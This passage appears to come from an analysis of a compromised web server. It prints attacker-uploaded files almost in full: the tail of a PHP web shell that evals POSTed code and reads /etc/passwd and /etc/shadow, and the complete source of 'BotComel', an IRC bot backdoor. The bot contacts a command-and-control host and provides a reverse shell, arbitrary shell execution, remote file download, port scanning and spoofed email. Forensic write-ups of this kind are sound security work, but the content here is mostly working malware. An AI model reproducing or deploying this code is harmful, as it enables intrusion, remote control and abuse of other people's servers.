($filename = readdir($dh))) { $files[] = $filename; } return $files; }}function which($p) { $path = ex('which '.$p); if(!empty($path)) return $path; return false;}function actionSecInfo() { printHeader(); echo '<h1>Server security information</h1><div class=content>'; function showSecParam($n, $v) { $v = trim($v); if($v) { echo '<span>'.$n.': </span>'; if(strpos($v, "\n") === false) echo $v.'<br>'; else echo '<pre class=ml1>'.$v.'</pre>'; } } showSecParam('Server software', @getenv('SERVER_SOFTWARE')); showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); showSecParam('Open base dir', @ini_get('open_basedir')); showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; showSecParam('Supported databases', implode(', ', $temp)); echo '<br>'; if( $GLOBALS['os'] == 'nix' ) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); showSecParam('OS version', @file_get_contents('/proc/version')); showSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { echo '<br>'; $temp=array(); foreach ($userful as $item) if(which($item)){$temp[]=$item;} showSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(which($item)){$temp[]=$item;} showSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(which($item)){$temp[]=$item;} showSecParam('Downloaders', implode(', ',$temp)); echo '<br/>'; showSecParam('Hosts', @file_get_contents('/etc/hosts')); showSecParam('HDD space', ex('df -h')); showSecParam('Mount options', @file_get_contents('/etc/fstab')); } } else { showSecParam('OS Version',ex('ver')); showSecParam('Account Settings',ex('net accounts')); showSecParam('User Accounts',ex('net user')); } echo '</div>'; printFooter();}function actionPhp() { if( isset($_POST['ajax']) ) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; echo strlen($temp), "\n", $temp; exit; } printHeader(); if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { echo '<h1>PHP info</h1><div class=content>'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace('!body {.*}!msiU','',$tmp); $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); $tmp = preg_replace('!h1!msiU','h2',$tmp); $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); echo $tmp; echo '</div><br>'; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'
Looking at the file from the web browser we notice the request for the password,
Easy to find out with a google search, 161498ff7b638f5e5c0d5e32fab5470b is “syurga”, and we have another php web shell installation.
Finally another file kindly uploaded from the attackers,
1: <?php
2: /**
3: * @PHP BotComel.Private v2 Created by Ahlspiess
4: * @Info: Written under PHP 5.2.6 Windows Vista SP2
5: */
6: /**
7: * @List CMD
8: !bcon = backconnect
9: !http = request web
10: !info = print info
11: !restart = reconnect bot
12: !pwd = print current working dir
13: !cd = change dir
14: !raw = exec mirc cmd
15: !exec = exec shell cmd
16: !download = download file
17: !quit = close bot connection
18: !pscan = scan open port
19: !mail = send an email
20: */
21:
22: if(preg_match("/google|msn|yahoo|bot|spider|crawler|archive/", strtolower($_SERVER['HTTP_USER_AGENT']))) {
23: header('HTTP/1.0 404 Not Found');
24: exit;
25: }
26:
27: @set_time_limit(0);
28: @error_reporting(0);
29: define('DS', DIRECTORY_SEPARATOR);
30: define('__THIS__', 'BotComel');
31: define('BotVersion', 'BotComel Version 3-prv');
32: class BotComel {
33:
34: var $config = array('server' => 'ahlisyurga.no-ip.org', // Server IP/Hostname
35: 'port' => 443, // Server Port
36: 'chan' => '#emotoy', // Channel
37: 'cmdprefix' => '!', // Command Prefix
38: 'password' => 'd74bedca82df091bb83e43cb10785da6', // Password: md5 encryption, default: botcomel
39: 'debug' => false // debug kene guna cli
40: );
41:
42: var $users = array();
43:
44: function init() {
45: if(!($this->connection = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
46: {
47: $this->init();
48: }
49: $ident = md5(time());
50: $this->send("USER $ident 127.0.0.1 localhost :$ident");
51: $this->getNick();
52: $this->start();
53: }
54:
55: function start() {
56: while(!feof($this->connection))
57: {
58: $this->buffer = trim(fgets($this->connection, 512));
59: $cmd = explode(" ", $this->buffer);
60: if(substr($this->buffer, 0, 6) == "PING :")
61: {
62: $this->send("PONG :".substr($this->buffer, 6));
63: $this->pingged = 1;
64: }
65: if(isset($cmd[1]))
66: {
67: if($cmd[1] == '001')
68: {
69: $this->join($this->config['chan']);
70: }
71: if($cmd[1] == '443')
72: {
73: $this->getNick();
74: }
75: }
76: if($this->buffer != $old_buffer)
77: {
78: $mcmd = array();
79: $msg = substr(strstr($this->buffer, " :"), 2);
80: $msgcmd = explode(" ", $msg);
81: $nick = explode("!", $cmd[0]);
82: $vhost = explode("@", $nick[1]);
83: $vhost = $vhost[1];
84: $nick = substr($nick[0], 1);
85: $host = $cmd[0];
86: if($msgcmd[0] == $this->nick)
87: {
88: for($i=0;$i<count($msgcmd);$i++)
89: {
90: $mcmd[$i] = $msgcmd[$i+1];
91: }
92: }
93: else
94: {
95: for($i=0;$i<count($msgcmd);$i++)
96: {
97: $mcmd[$i] = $msgcmd[$i];
98: }
99: }
100: if(count($cmd) > 2)
101: {
102: switch($cmd[1])
103: {
104: case 'PART':
105: case 'LOGOUT':
106: if($this->isLoggedIn($host))
107: {
108: $this->logOut($host);
109: }
110: break;
111:
112: /**
113: * @Start Command args
114: */
115: case 'PRIVMSG':
116: if(!$this->isLoggedIn($host))
117: {
118: if(substr($mcmd[0], 0, 1) == $this->config['cmdprefix'])
119: {
120: switch(substr($mcmd[0], 1))
121: {
122: /**
123: * @Description: Login to bot.
124: * @Usage: !login password
125: */
126: case 'login':
127: if(md5($mcmd[1]) == $this->config['password'])
128: {
129: $this->notice($nick, "Welcome Admin!");
130: $this->logIn($host);
131: }
132: else
133: {
134: $this->notice($nick, "Incorrect Password!");
135: }
136: break;
137: }
138: }
139: }
140: elseif($this->isLoggedIn($host))
141: {
142: if(substr($mcmd[0], 0, 1) == $this->config['cmdprefix'])
143: {
144: switch(substr($mcmd[0], 1))
145: {
146: case 'host':
147: $this->mes($this->config['chan'], "Host: ".$_SERVER['HTTP_HOST']);
148: break;
149: /**
150: * @Description: Backconnect Shell
151: * @Usage: !bcon ip port
152: * @Example: !bcon 127.0.0.1 1337
153: */
154: case 'bcon':
155: if(count($mcmd) > 2)
156: {
157: $this->mes($this->config['chan'], "4Warning: Bot might Ping Time Out soon");
158: if($this->ableFunc('pnctl_fork'))
159: {
160: $pid = pnctl_fork();
161: if($pid)
162: {
163: $this->mes($this->config['chan'], "pcntl_fork is supported! Forked!");
164: $this->backconnect($nick, $mcmd[1], $mcmd[2]);
165: }
166: else
167: {
168: $this->mes($this->config['chan'], "Unable to fork! Using normal way!");
169: $this->backconnect($nick, $mcmd[1], $mcmd[2]);
170: }
171: }
172: else
173: {
174: $this->mes($this->config['chan'], "Unable to fork! Using normal way!");
175: $this->backconnect($nick, $mcmd[1], $mcmd[2]);
176: }
177: }
178: break;
179:
180: /**
181: * @Description: Change Bot Nick.
182: * @Usage: !resetnick
183: */
184: case 'resetnick':
185: $this->getNick();
186: break;
187:
188: /**
189: * @Description: Kill Bot.
190: * @Usage: !quit
191: */
192: case 'quit':
193: $this->send("QUIT :die command from $nick");
194: fclose($this->connection);
195: unset($this->users);
196: exit;
197: break;
198:
199: /**
200: * @Description: Restart bot connection.
201: * @Usage: !restart
202: */
203: case 'restart':
204: $this->send("QUIT :restart");
205: fclose($this->connection);
206: unset($this->users);
207: $this->init();
208: break;
209:
210: /**
211: * @Description: Print *Basic* Server Information.
212: * @Usage: !info
213: */
214: case 'info':
215: $this->mes($this->config['chan'], "-======= [[8".BotVersion."]] ======-");
216: $this->mes($this->config['chan'], "HOST/IP: [8".$_SERVER['HTTP_HOST']." /8 ".@getenv('SERVER_ADDR')."]");
217: $this->mes($this->config['chan'], "PHP Version: [8 ".phpversion()." ]");
218: $this->mes($this->config['chan'], "PHP Safe Mode: [".$this->safeMode()."]");
219: $this->mes($this->config['chan'], "PHP Disable Function: [".$this->disabledFunc()."]");
220: $this->mes($this->config['chan'], "".$this->userInfo()."");
221: $this->mes($this->config['chan'], "PHP Uname: [8".php_uname('a')."]");
222: $this->mes($this->config['chan'], 'HDD: [8 '.$this->hdd("used").' Free:8 '.$this->hdd("free").' Total:8 '.$this->hdd("total").' ]');
223: $this->mes($this->config['chan'], "Server Software: [8".$_SERVER['SERVER_SOFTWARE']."]");
224: if(preg_match("/ON/", $this->safeMode()))
225: {
226: $this->mes($this->config['chan'], "Safe mode exec dir: [8".@ini_get('safe_mode_exec_dir')."]");
227: $this->mes($this->config['chan'], "Safe mode include dir: [8".@ini_get('safe_mode_exec_dir')."]");
228: }
229: $this->mes($this->config['chan'], "cURL support: [".$this->supportedCurl()."]");
230: $this->mes($this->config['chan'], "Supported Database: ".$this->supportedDatabase()."");
231: break;
232:
233: /**
234: * @Description: Execute Irc raw Command.
235: * @Usage: !raw cmd
236: * @Example: !raw JOIN #newchan
237: */
238: case "raw":
239: $this->send(strstr($msg, $mcmd[1]));
240: break;
241:
242: /**
243: * @Description: Print current bot working dir.
244: * @Usage: !pwd
245: */
246: case 'pwd':
247: $this->mes($this->config['chan'], "Currently at: ".getcwd());
248: break;
249:
250: /**
251: * @Description: Download remote file and save *locally*.
252: * @Usage: !download url output
253: * @Example: !download http://site.tld/myfile.txt file.txt
254: * @Extra Note: Server will download myfile.txt from site.tld and save as file.txt.
255: */
256: case 'download':
257: if(count($mcmd) > 2)
258: {
259: if(!is_writeable(getcwd()))
260: {
261: $this->mes($this->config['chan'], "You doesn't have permission in current directory!");
262: }
263: else
264: {
265: $this->downloadFile($mcmd[1], $mcmd[2]);
266: }
267: }
268: break;
269:
270: /**
271: * @Description: Change working bot dir.
272: * @Usage: !cd dir
273: * @example: !cd /etc
274: */
275: case 'cd':
276: if(isset($mcmd[1]))
277: {
278: if(chdir($mcmd[1]))
279: {
280: $this->mes($this->config['chan'], "Succesfully changed directory!");
281: }
282: else
283: {
284: $this->mes($this->config['chan'], "Unable to change directory!");
285: }
286: }
287: break;
288:
289: /**
290: * @Description: So-called open port scan.
291: * @Usage: !pscan ip port
292: * @Example: !pscan 127.0.0.1 80
293: */
294: case 'pscan':
295: if(count($mcmd) > 2)
296: {
297: if(fsockopen($mcmd[1], $mcmd[2], $e, $s, 15))
298: {
299: $this->mes($this->config['chan'],"IP: [8 ".$mcmd[1]." ] Port: [8 ".$mcmd[2]." ] Status: [8 Open ]");
300: }
301: else
302: {
303: $this->mes($this->config['chan'],"IP: [8 ".$mcmd[1]." ] Port: [8 ".$mcmd[2]." ] Status: [4 Close ]");
304: }
305: }
306: break;
307:
308: /**
309: * @Description: Execute command
310: * @Usage: !exec mycommand
311: * @Example: !exec cat /etc/hosts
312: */
313: case 'exec':
314: if(isset($mcmd[1]))
315: {
316: if($this->ableFunc('popen'))
317: {
318: $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1);
319: $this->mes($this->config['chan'], "Executing $command");
320: $pipe = popen($command, "r");
321: while(!feof($pipe))
322: {
323: $pbuf = trim(fgets($pipe, 512));
324: if($pbuf != NULL)
325: {
326: $this->mes($this->config['chan'], ": $pbuf");
327: }
328: }
329: pclose($pipe);
330: }
331: elseif($this->ableFunc('shell_exec'))
332: {
333: $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1);
334: $this->mes($this->config['chan'], "Executing $command");
335: $exec = shell_exec($command);
336: $ret = explode("\n", $exec);
337: for($i=0;$i<count($ret);$i++)
338: {
339: if($ret[$i]!=NULL)
340: {
341: $this->mes($this->config['chan'], ": ".trim($ret[$i]));
342: }
343: }
344: }
345: else
346: {
347: $this->mes($this->config['chan'], "Unable to execute $command, function has been disabled(maybe?).");
348: }
349: }
350: break;
351:
352: /**
353: * @Description: Send a http request.
354: * @Usage: !http site
355: * @Example: !http http://mysite.com/file.php
356: */
357: case 'http':
358: if(isset($mcmd[1]))
359: {
360: $site = parse_url($mcmd[1]);
361: if(!isset($site['scheme']))
362: {
363: $url = "http://".$mcmd[1];
364: }
365: else
366: {
367: $url = $mcmd[1];
368: }
369: $this->reqhttp($url);
370: }
371: break;
372:
373: /**
374: * @Description: Send an email
375: * @Usage: Sender+name sender-email target my+subject msg
376: * @Example: !mail EmotoyGay emeotoy@gay.kom my.mail@gmail.com kenyataan+tergempar+dari+emotoy saya sebenarnya gay
377: * @Note: symbol + kat nama dengan subjek akan digantikan dengan space.
378: */
379: case 'mail':
380: if(count($mcmd) > 5)
381: {
382: $nama = $mcmd[1];
383: $from = $mcmd[2];
384: $to = $mcmd[3];
385: $sbj = $mcmd[4];
386: if(strpos($nama, "+"))
387: {
388: $nama = str_replace("+", " ", $nama);
389: }
390: if(strpos($sbj, "+"))
391: {
392: $sbj = str_replace("+", " ", $sbj);
393: }
394: $header = "From: ".$nama."<".$from.">";
395: if(mail($to, $sbj, strstr($msg, $mcmd[5]), $header))
396: {
397: $this->notice($nick, "Message sent to ".$to);
398: }
399: else
400: {
401: $this->notice($nick, "Unable to send.");
402: }
403: }
404: else
405: {
406: $this->notice($nick, "!mail dari-nama dari-email kepada subjek msg"); }
407: break;
408: }
409: }
410: }
411: break;
412: }
413: }
414: }
415: if($this->config['debug'] == true)
416: {
417: print $this->buffer."\r\n";
418: }
419: $old_buffer = $this->buffer;
420: }
421: if(feof($this->connection))
422: {
423: $this->init();
424: }
425: $this->init();
426: }
427:
428: function notice($nick, $msg) {
429: $this->send("NOTICE $nick :$msg");
430: }
431:
432: function reqhttp($url) {
433: $site = parse_url($url);
434: if(!isset($site['path']))
435: {
436: $site['path'] = "/";
437: }
438: $payload =
439: "GET %s HTTP/1.0\r\n".
440: "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\n".
441: "Accept-Language: en-us\r\n".
442: "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
443: "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\r\n".
444: "Pragma: no-cache\r\n".
445: "Host: %s\r\n".
446: "Referer: http://base64.derefer.me/?%s\\r\n".
447: "Keep-Alive: timeout=5, max=100\r\n".
448: "Connection: Keep-Alive\r\n\r\n";
449: $finalpayload = sprintf($payload, $site['path'], $site['host'], base64_encode($url));
450: $sock = @fsockopen($site['host'], 80, $errno, $errstr, 30);
451: if(!$sock)
452: {
453: $this->mes($this->config['chan'], "$errstr");
454: }
455: else
456: {
457: @fwrite($sock, $finalpayload);
458: $status = @fgets($sock, 2000);
459: $this->mes($this->config['chan'], "HTTP Status: [ ".$status." ]");
460: @fclose($sock);
461: }
462: }
463:
464: function backconnect($nick, $ip, $port) {
465: $shell = '/bin/sh -i';
466: #$shell = 'cmd';
467: $chunk_size = 1400;
468: $write_a = null;
469: $error_a = null;
470: chdir("/");
471: umask(0);
472: $sock = fsockopen($ip, $port, $errno, $errstr, 30);
473: if(!$sock)
474: {
475: $this->notice($nick, "Unable to connect!");
476: }
477: $descriptorspec = array(
478: 0 => array("pipe", "r"),
479: 1 => array("pipe", "w"),
480: 2 => array("pipe", "w")
481: );
482: $process = proc_open($shell, $descriptorspec, $pipes);
483: if (!is_resource($process)) {
484: $this->notice($nick, "ERROR: Can't spawn shell");
485: }
486: stream_set_blocking($pipes[0], 0);
487: stream_set_blocking($pipes[1], 0);
488: stream_set_blocking($pipes[2], 0);
489: stream_set_blocking($sock, 0);
490: $this->mes($this->config['chan'], "Successfully opened reverse shell");
491: while(!feof($sock))
492: {
493: $read_a = array($sock, $pipes[1], $pipes[2]);
494: $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
495: if(in_array($sock, $read_a))
496: {
497: $input = fread($sock, $chunk_size);
498: fwrite($pipes[0], $input);
499: }
500: if(in_array($pipes[1], $read_a))
501: {
502: $input = fread($pipes[1], $chunk_size);
503: fwrite($sock, $input);
504: }
505: if(in_array($pipes[2], $read_a))
506: {
507: $input = fread($pipes[2], $chunk_size);
508: fwrite($sock, $input);
509: }
510: }
511: fclose($sock);
512: fclose($pipes[0]);
513: fclose($pipes[1]);
514: fclose($pipes[2]);
515: proc_close($process);
516: }
517:
518: function execve($cmd) {
519: if($this->ableFunc("exec"))
520: {
521: exec($cmd, $o);
522: $return = join("\r\n", $o);
523: }
524: elseif($this->ableFunc("shell_exec"))
525: {
526: $return = shell_exec($cmd);
527: }
528: elseif($this->ableFunc("system"))
529: {
530: @ob_start();
531: @system($cmd);
532: $return = @ob_get_contents();
533: @ob_end_clean();
534: }
535: elseif($this->ableFunc("passthru"))
536: {
537: @ob_start();
538: @passthru($cmd);
539: $return = @ob_get_contents();
540: @ob_end_clean();
541: }
542: elseif($this->ableFunc("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')))
543: {
544: while(!feof($h))
545: {
546: $return .= fread($h, 2096);
547: }
548: pclose($h);
549: }
550: else
551: {
552: $return = 0;
553: }
554: return $return;
555: }
556:
557: function downloadFile($url, $filename) {
558: $out = '';
559: if((ini_get('allow_url_fopen') == 1) || (strtolower(ini_get('allow_url_fopen')) == "on"))
560: {
561: $fopen = @fopen(getcwd().DS.$filename, 'w');
562: @fwrite($fopen, file_get_contents($url));
563: @fclose($fopen);
564: $this->mes($this->config['chan'], "Succesfully Download8" .$url." and Saved at8 ".getcwd().DS.$filename."");
565: }
566: elseif(execve("wget $url -O $filename"))
567: {
568: $this->mes($this->config['chan'], "Succesfully Download8" .$url." and Saved at8 ".getcwd().DS.$filename."");
569: }
570: else
571: {
572: $this->mes($this->config['chan'], "Unable to download file!");
573: }
574: }
575:
576: function supportedCurl() {
577: if(function_exists('curl_version'))
578: {
579: return "8Yes";
580: }
581: else
582: {
583: return "4No";
584: }
585: }
586:
587: function disabledFunc() {
588: $func = ini_get("disable_functions");
589: if($func)
590: {
591: return "4".$func."";
592: }
593: else
594: {
595: return "8None";
596: }
597: }
598:
599: function supportedDatabase() {
600: $temp=array();
601: if(function_exists('mysql_get_client_info'))
602: $temp[] = "8MySql (".mysql_get_client_info().")";
603: if(function_exists('mssql_connect'))
604: $temp[] = "8MSSQL";
605: if(function_exists('pg_connect'))
606: $temp[] = "8PostgreSQL";
607: if(function_exists('oci_connect'))
608: $temp[] = "8Oracle";
609: return implode(', ', $temp);
610:
611: }
612:
613: function safeMode() {
614: return (@ini_get("safe_mode") OR eregi("on", @ini_get("safe_mode"))) ? "4ON" : "8OFF";
615: }
616:
617: function mes($to, $msg) {
618: $this->send("PRIVMSG $to :$msg");
619: }
620:
621: function isLoggedIn($host) {
622: if(isset($this->users[$host]))
623: {
624: return 1;
625: }
626: else
627: {
628: return 0;
629: }
630: }
631:
632: function logOut($host) {
633: unset($this->users[$host]);
634: }
635:
636: function logIn($host) {
637: $this->users[$host] = true;
638: }
639:
640: function join($chan) {
641: $this->send("JOIN ".$chan);
642: }
643:
644: function getNick() {
645: $this->nick = "[".PHP_OS."][".$this->getCurrentUser()."]Botz-".rand(1,99);
646: $this->send("NICK ".$this->nick."");
647: }
648:
649: function getCurrentUser() {
650: if($this->ableFunc('get_current_user'))
651: {
652: return get_current_user();
653: }
654: elseif($this->ableFunc('posix_getpwuid') AND $this->ableFunc('posix_geteuid'))
655: {
656: $owner = $processUser = posix_getpwuid(posix_geteuid());
657: return $owner['name'];
658: }
659: else
660: {
661: return "Nobody";
662: }
663: }
664:
665: function ableFunc($func) {
666: return (function_exists($func) && is_callable($func) && !in_array($func, $this->getdisfunc())) ? TRUE : FALSE;
667: }
668:
669: function getdisfunc() {
670: $func = explode(",", @ini_get("disable_functions"));
671: return (!empty($func)) ? $func : array();
672: }
673:
674: function send($t) {
675: @fputs($this->connection, $t."\r\n");
676: }
677:
678: function vsize($size) {
679: if (!is_numeric($size)) { return FALSE; }
680: else {
681: if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
682: elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
683: elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
684: else { $size = $size . " B"; }
685: return $size;
686: }
687: }
688:
689: function hdd($type) {
690: $P = @getcwd();
691: $T = @disk_total_space($P);
692: $F = @disk_free_space($P);
693: $U = $T - $U;
694: $hddspace = array("total" => $this->vsize($T), "free" => $this->vsize($F), "used" => $this->vsize($U));
695: return $hddspace[$type];
696: }
697:
698: function userInfo() {
699: if(!$this->ableFunc('posix_getegid'))
700: {
701: $user = @get_current_user();
702: $uid = @getmyuid();
703: $gid = @getmygid();
704: $group = "?";
705: return "User: [8 ".$user." ] UID/GID: [8 ".$uid."/8 ".$gid." ] Group: [8 ".$group." ]";
706: }
707: else
708: {
709: $uid = @posix_getpwuid(@posix_geteuid());
710: $gid = @posix_getgrgid(@posix_getegid());
711: $user = $uid['name'];
712: $uid = $uid['uid'];
713: $group = $gid['name'];
714: $gid = $gid['gid'];
715: return "User: [".$user."] UID/GID: [".$uid."/".$gid."] Group: [".$group."]";
716: }
717: }
718:
719: function stop() {
720: fclose($this->connection);
721: exit;
722: }
723:
724: }
725:
726: $bot = new BotComel;
727: $bot->init();
728: ?>